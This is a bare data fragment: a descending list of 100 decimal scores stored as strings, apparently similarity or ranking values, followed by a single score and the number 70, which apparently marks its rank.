[ "0.8207424", "0.7868928", "0.7521715", "0.7485303", "0.7466285", "0.73566276", "0.72700804", "0.71818566", "0.7099663", "0.70841765", "0.70841765", "0.70841765", "0.70841765", "0.70841765", "0.7070414", "0.6989723", "0.69714546", "0.6969409", "0.6900681", "0.6863176", "0.6781842", "0.6775627", "0.6763979", "0.67391944", "0.6717444", "0.6710334", "0.66996723", "0.66989404", "0.66834164", "0.66702926", "0.66662174", "0.6634192", "0.6617847", "0.6610603", "0.65954924", "0.65533304", "0.6536394", "0.6429858", "0.64211833", "0.639489", "0.63910896", "0.6352655", "0.6344248", "0.6320471", "0.63140345", "0.63024914", "0.6288908", "0.62761736", "0.6223108", "0.62209934", "0.62142813", "0.6187978", "0.61862016", "0.6179478", "0.6179478", "0.6179478", "0.61589116", "0.6110634", "0.6080027", "0.6070396", "0.6052609", "0.60441", "0.6010916", "0.5971824", "0.5957368", "0.5947124", "0.59394", "0.59304017", "0.592757", "0.59079385", "0.5898143", "0.5896943", "0.58882606", "0.5887188", "0.5886664", "0.5885708", "0.58797276", "0.5875284", "0.5860598", "0.5842039", "0.58420354", "0.58408433", "0.58199465", "0.58061683", "0.58024156", "0.57996386", "0.5792399", "0.5792113", "0.57888514", "0.57872766", "0.578648", "0.57848734", "0.5781687", "0.57780606", "0.57771194", "0.5772605", "0.577171", "0.5768223", "0.57632256", "0.57609695" ]
0.5898737
70